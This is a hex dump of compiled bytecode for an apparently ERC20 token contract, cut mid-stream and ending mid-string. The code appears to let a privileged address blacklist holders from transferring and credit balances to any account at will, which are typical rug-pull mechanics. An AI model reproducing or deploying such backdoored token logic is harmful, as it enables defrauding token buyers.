ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117149190612608565b60405180910390a36001925050505b9392505050565b6000838311158290611772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176991906124e6565b60405180910390fd5b506000838561178191906127ce565b9050809150509392505050565b600080831182906117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc91906124e6565b60405180910390fd5b50600083856117e49190612743565b9050809150509392505050565b600061187c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119b19190612608565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119fc576119fb612a1b565b5b604051908082528060200260200182016040528015611a2a5781602001602082028036833780820191505090505b5090503081600081518110611a4257611a416129ec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae457600080fd5b505afa158015611af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1c919061206e565b81600181518110611b3057611b2f6129ec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b9730601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611002565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bfb959493929190612623565b600060405180830381600087803b158015611c1557600080fd5b505af1925050508015611c26575060015b611c2f57611c30565b5b60004790506000811115611ca857600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca6573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611d0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172a565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d9a57611d936064611d85600c548661121790919063ffffffff16565b6111cd90919063ffffffff16565b9050611e18565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e1757611e146064611e06600d548661121790919063ffffffff16565b6111cd90919063ffffffff16565b90505b5b6000811115611f1c57611e7381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3990919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f139190612608565b60405180910390a35b611f2f8184611cc890919063ffffffff16565b9150509392505050565b6000808284611f4891906126ed565b905083811015611f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8490612548565b60405180910390fd5b8091505092915050565b600081359050611fa681612c7a565b92915050565b600081519050611fbb81612c7a565b92915050565b60008083601f840112611fd757611fd6612a4f565b5b8235905067ffffffffffffffff811115611ff457611ff3612a4a565b5b6020830191508360208202830111156120105761200f612a54565b5b9250929050565b60008135905061202681612c91565b92915050565b60008135905061203b81612ca8565b92915050565b60006020828403121561205757612056612a5e565b5b600061206584828501611f97565b91505092915050565b60006020828403121561208457612083612a5e565b5b600061209284828501611fac565b91505092915050565b600080604083850312156120b2576120b1612a5e565b5b60006120c085828601611f97565b92505060206120d185828601611f97565b9150509250929050565b6000806000606084860312156120f4576120f3612a5e565b5b600061210286828701611f97565b935050602061211386828701611f97565b92505060406121248682870161202c565b9150509250925092565b6000806040838503121561214557612144612a5e565b5b600061215385828601611f97565b92505060206121648582860161202c565b9150509250929050565b60008060006040848603121561218757612186612a5e565b5b600061219586828701612017565b935050602084013567ffffffffffffffff8111156121b6576121b5612a59565b5b6121c286828701611fc1565b92509250509250925092565b6000602082840312156121e4576121e3612a5e565b5b60006121f28482850161202c565b91505092915050565b6000806040838503121561221257612211612a5e565b5b60006122208582860161202c565b925050602061223185828601611f97565b9150509250929050565b60006122478383612262565b60208301905092915050565b61225c81612814565b82525050565b61226b81612802565b82525050565b61227a81612802565b82525050565b600061228b826126a8565b61229581856126cb565b93506122a083612698565b8060005b838110156122d15781516122b8888261223b565b97506122c3836126be565b9250506001810190506122a4565b5085935050505092915050565b6122e781612826565b82525050565b6122f681612869565b82525050565b6123058161287b565b82525050565b6000612316826126b3565b61232081856126dc565b93506123308185602086016128b1565b61233981612a63565b840191505092915050565b60006123516023836126dc565b915061235c82612a74565b604082019050919050565b60006123746022836126dc565b915061237f82612ac3565b604082019050919050565b6000612397601b836126dc565b91506123a282612b12565b602082019050919050565b60006123ba6021836126dc565b91506123c582612b3b565b604082019050919050565b60006123dd6020836126dc565b91506123e882612b8a565b602082019050919050565b6000612400600b836126dc565b915061240b82612bb3565b602082019050919050565b60006124236025836126dc565b915061242e82612bdc565b604082019050919050565b60006124466024836126dc565b915061245182612c2b565b604082019050919050565b61246581612852565b82525050565b6124748161285c565b82525050565b600060208201905061248f6000830184612271565b92915050565b60006020820190506124aa6000830184612253565b92915050565b60006020820190506124c560008301846122de565b92915050565b60006020820190506124e060008301846122ed565b92915050565b60006020820190508181036000830152612500818461230b565b905092915050565b6000602082019050818103600083015261252181612344565b9050919050565b6000602082019050818103600083015261254181612367565b9050919050565b600060208201905081810360008301526125618161238a565b9050919050565b60006020820190508181036000830152612581816123ad565b9050919050565b600060208201905081810360008301526125a1816123d0565b9050919050565b600060208201905081810360008301526125c1816123f3565b9050919050565b600060208201905081810360008301526125e181612416565b9050919050565b6000602082019050818103600083015261260181612439565b9050919050565b600060208201905061261d600083018461245c565b92915050565b600060a082019050612638600083018861245c565b61264560208301876122fc565b81810360408301526126578186612280565b90506126666060830185612271565b612673608083018461245c565b9695505050505050565b6000602082019050612692600083018461246b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126f882612852565b915061270383612852565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127385761273761295f565b5b828201905092915050565b600061274e82612852565b915061275983612852565b9250826127695761276861298e565b5b828204905092915050565b600061277f82612852565b915061278a83612852565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127c3576127c261295f565b5b828202905092915050565b60006127d982612852565b91506127e483612852565b9250828210156127f7576127f661295f565b5b828203905092915050565b600061280d82612832565b9050919050565b600061281f82612832565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128748261288d565b9050919050565b600061288682612852565b9050919050565b60006128988261289f565b9050919050565b60006128aa82612832565b9050919050565b60005b838110156128cf5780820151818401526020810190506128b4565b838111156128de576000848401525b50505050565b600060028204905060018216806128fc57607f821691505b602082108114156129105761290f6129bd565b5b50919050565b600061292182612852565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129545761295361295f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c8381612802565b8114612c8e57600080fd5b50565b612c9a81612826565b8114612ca557600080fd5b50565b612cb181612852565b8114612cbc57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122072bc172419323f109a6711cd20040a9fe467729e7c221ccd019906cc3d11f23a64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063c5d241891161008a578063cc64028111610064578063cc64028114610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063c5d24189146105c4578063c816841b146105ef578063c86079521461061a576101c2565b80638da5cb5b116100c65780638da5cb5b1461050657806395d89b4114610531578063a08e671f1461055c578063a9059cbb14610587576101c2565b806370a082311461047557806382eefb43146104b25780638b4cee08146104dd576101c2565b80631d231b2c1161015957806327c8f8351161013357806327c8f835146103b7578063313ce567146103e25780633345611e1461040d57806361a23c691461044a576101c2565b80631d231b2c14610314578063231760161461035157806323b872dd1461037a576101c2565b80630cc835a3116101955780630cc835a3146102585780631694505e1461028157806318160ddd146102ac5780631b491677146102d7576101c2565b806306fdde03146101c7578063083a0cf3146101f2578063095ea7b31461021b576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906124e6565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061216e565b610793565b005b34801561022757600080fd5b50610242600480360381019061023d919061212e565b61084a565b60405161024f91906124b0565b60405180910390f35b34801561026457600080fd5b5061027f600480360381019061027a91906121ce565b610868565b005b34801561028d57600080fd5b50610296610910565b6040516102a391906124cb565b60405180910390f35b3480156102b857600080fd5b506102c1610936565b6040516102ce9190612608565b60405180910390f35b3480156102e357600080fd5b506102fe60048036038101906102f99190612041565b610940565b60405161030b91906124b0565b60405180910390f35b34801561032057600080fd5b5061033b60048036038101906103369190612041565b610960565b60405161034891906124b0565b60405180910390f35b34801561035d57600080fd5b50610378600480360381019061037391906121fb565b610980565b005b34801561038657600080fd5b506103a1600480360381019061039c91906120db565b610a57565b6040516103ae91906124b0565b60405180910390f35b3480156103c357600080fd5b506103cc610b31565b6040516103d9919061247a565b60405180910390f35b3480156103ee57600080fd5b506103f7610b55565b604051610404919061267d565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612041565b610b6c565b60405161044191906124b0565b60405180910390f35b34801561045657600080fd5b5061045f610b8c565b60405161046c9190612608565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612041565b610b92565b6040516104a99190612608565b60405180910390f35b3480156104be57600080fd5b506104c7610bdb565b6040516104d49190612608565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff91906121ce565b610be1565b005b34801561051257600080fd5b5061051b610c89565b604051610528919061247a565b60405180910390f35b34801561053d57600080fd5b50610546610cb2565b60405161055391906124e6565b60405180910390f35b34801561056857600080fd5b50610571610d44565b60405161057e9190612608565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a9919061212e565b610d4a565b6040516105bb91906124b0565b60405180910390f35b3480156105d057600080fd5b506105d9610d69565b6040516105e69190612608565b60405180910390f35b3480156105fb57600080fd5b50610604610d6f565b604051610611919061247a565b60405180910390f35b34801561062657600080fd5b5061062f610d95565b60405161063c9190612608565b60405180910390f35b34801561065157600080fd5b5061065a610d9b565b6040516106679190612495565b60405180910390f35b34801561067c57600080fd5b506106976004803603810190610692919061209b565b610dc1565b6040516106a49190612608565b60405180910390f35b3480156106b957600080fd5b506106c2610e48565b6040516106cf9190612608565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa9190612041565b610e4e565b005b606060018054610710906128e4565b80601f016020809104026020016040519081016040528092919081815260200182805461073c906128e4565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b61079c33610fa0565b6107a557600080fd5b60005b828290508110156108445783600860008585858181106107cb576107ca6129ec565b5b90506020020160208101906107e09190612041565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083c90612916565b9150506107a8565b50505050565b600061085e610857610ffa565b8484611002565b6001905092915050565b610870610ffa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490612588565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b61099061098b610ffa565b610fa0565b61099957600080fd5b610a10600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a02846109f4600a806111cd90919063ffffffff16565b61121790919063ffffffff16565b61129290919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610a648484846112ba565b50610b2684610a71610ffa565b610b2185604051806060016040528060288152602001612cc060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ad7610ffa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a9092919063ffffffff16565b611002565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610be9610ffa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90612588565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cc1906128e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610ced906128e4565b8015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b600e5481565b6000610d5e610d57610ffa565b84846112ba565b506001905092915050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610e56610ffa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda90612588565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611072576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611069906125e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d990612528565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c09190612608565b60405180910390a3505050565b600061120f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178e565b905092915050565b60008083141561122a576000905061128c565b600082846112389190612774565b90508284826112479190612743565b14611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e90612568565b60405180910390fd5b809150505b92915050565b60008082846112a191906126ed565b9050838110156112b057600080fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611322906125c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139290612508565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f906125a8565b60405180910390fd5b601160149054906101000a900460ff161561144f576114488484846117f1565b9050611723565b600061145a30610b92565b9050601160149054906101000a900460ff161580156114c35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114d2576114d1816119c4565b5b61152483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061160a5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61161e57611619868686611d12565b611620565b835b905061167481600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117149190612608565b60405180910390a36001925050505b9392505050565b6000838311158290611772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176991906124e6565b60405180910390fd5b506000838561178191906127ce565b9050809150509392505050565b600080831182906117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc91906124e6565b60405180910390fd5b50600083856117e49190612743565b9050809150509392505050565b600061187c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119b19190612608565b60405180910390a3600190509392505050565b6001601160146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119fc576119fb612a1b565b5b604051908082528060200260200182016040528015611a2a5781602001602082028036833780820191505090505b5090503081600081518110611a4257611a416129ec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae457600080fd5b505afa158015611af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1c919061206e565b81600181518110611b3057611b2f6129ec565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b9730601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611002565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bfb959493929190612623565b600060405180830381600087803b158015611c1557600080fd5b505af1925050508015611c26575060015b611c2f57611c30565b5b60004790506000811115611ca857600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca6573d6000803e3d6000fd5b505b50506000601160146101000a81548160ff02191690831515021790555050565b6000611d0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172a565b905092915050565b60008060009050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d9a57611d936064611d85600c548661121790919063ffffffff16565b6111cd90919063ffffffff16565b9050611e18565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e1757611e146064611e06600d548661121790919063ffffffff16565b6111cd90919063ffffffff16565b90505b5b6000811115611f1c57611e7381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3990919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f139190612608565b60405180910390a35b611f2f8184611cc890919063ffffffff16565b9150509392505050565b6000808284611f4891906126ed565b905083811015611f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8490612548565b60405180910390fd5b8091505092915050565b600081359050611fa681612c7a565b92915050565b600081519050611fbb81612c7a565b92915050565b60008083601f840112611fd757611fd6612a4f565b5b8235905067ffffffffffffffff811115611ff457611ff3612a4a565b5b6020830191508360208202830111156120105761200f612a54565b5b9250929050565b60008135905061202681612c91565b92915050565b60008135905061203b81612ca8565b92915050565b60006020828403121561205757612056612a5e565b5b600061206584828501611f97565b91505092915050565b60006020828403121561208457612083612a5e565b5b600061209284828501611fac565b91505092915050565b600080604083850312156120b2576120b1612a5e565b5b60006120c085828601611f97565b92505060206120d185828601611f97565b9150509250929050565b6000806000606084860312156120f4576120f3612a5e565b5b600061210286828701611f97565b935050602061211386828701611f97565b92505060406121248682870161202c565b9150509250925092565b6000806040838503121561214557612144612a5e565b5b600061215385828601611f97565b92505060206121648582860161202c565b9150509250929050565b60008060006040848603121561218757612186612a5e565b5b600061219586828701612017565b935050602084013567ffffffffffffffff8111156121b6576121b5612a59565b5b6121c286828701611fc1565b92509250509250925092565b6000602082840312156121e4576121e3612a5e565b5b60006121f28482850161202c565b91505092915050565b6000806040838503121561221257612211612a5e565b5b60006122208582860161202c565b925050602061223185828601611f97565b9150509250929050565b60006122478383612262565b60208301905092915050565b61225c81612814565b82525050565b61226b81612802565b82525050565b61227a81612802565b82525050565b600061228b826126a8565b61229581856126cb565b93506122a083612698565b8060005b838110156122d15781516122b8888261223b565b97506122c3836126be565b9250506001810190506122a4565b5085935050505092915050565b6122e781612826565b82525050565b6122f681612869565b82525050565b6123058161287b565b82525050565b6000612316826126b3565b61232081856126dc565b93506123308185602086016128b1565b61233981612a63565b840191505092915050565b60006123516023836126dc565b915061235c82612a74565b604082019050919050565b60006123746022836126dc565b915061237f82612ac3565b604082019050919050565b6000612397601b836126dc565b91506123a282612b12565b602082019050919050565b60006123ba6021836126dc565b91506123c582612b3b565b604082019050919050565b60006123dd6020836126dc565b91506123e882612b8a565b602082019050919050565b6000612400600b836126dc565b915061240b82612bb3565b602082019050919050565b60006124236025836126dc565b915061242e82612bdc565b604082019050919050565b60006124466024836126dc565b915061245182612c2b565b604082019050919050565b61246581612852565b82525050565b6124748161285c565b82525050565b600060208201905061248f6000830184612271565b92915050565b60006020820190506124aa6000830184612253565b92915050565b60006020820190506124c560008301846122de565b92915050565b60006020820190506124e060008301846122ed565b92915050565b60006020820190508181036000830152612500818461230b565b905092915050565b6000602082019050818103600083015261252181612344565b9050919050565b6000602082019050818103600083015261254181612367565b9050919050565b600060208201905081810360008301526125618161238a565b9050919050565b60006020820190508181036000830152612581816123ad565b9050919050565b600060208201905081810360008301526125a1816123d0565b9050919050565b600060208201905081810360008301526125c1816123f3565b9050919050565b600060208201905081810360008301526125e181612416565b9050919050565b6000602082019050818103600083015261260181612439565b9050919050565b600060208201905061261d600083018461245c565b92915050565b600060a082019050612638600083018861245c565b61264560208301876122fc565b81810360408301526126578186612280565b90506126666060830185612271565b612673608083018461245c565b9695505050505050565b6000602082019050612692600083018461246b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126f882612852565b915061270383612852565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127385761273761295f565b5b828201905092915050565b600061274e82612852565b915061275983612852565b9250826127695761276861298e565b5b828204905092915050565b600061277f82612852565b915061278a83612852565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127c3576127c261295f565b5b828202905092915050565b60006127d982612852565b91506127e483612852565b9250828210156127f7576127f661295f565b5b828203905092915050565b600061280d82612832565b9050919050565b600061281f82612832565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128748261288d565b9050919050565b600061288682612852565b9050919050565b60006128988261289f565b9050919050565b60006128aa82612832565b9050919050565b60005b838110156128cf5780820151818401526020810190506128b4565b838111156128de576000848401525b50505050565b600060028204905060018216806128fc57607f821691505b602082108114156129105761290f6129bd565b5b50919050565b600061292182612852565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129545761295361295f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c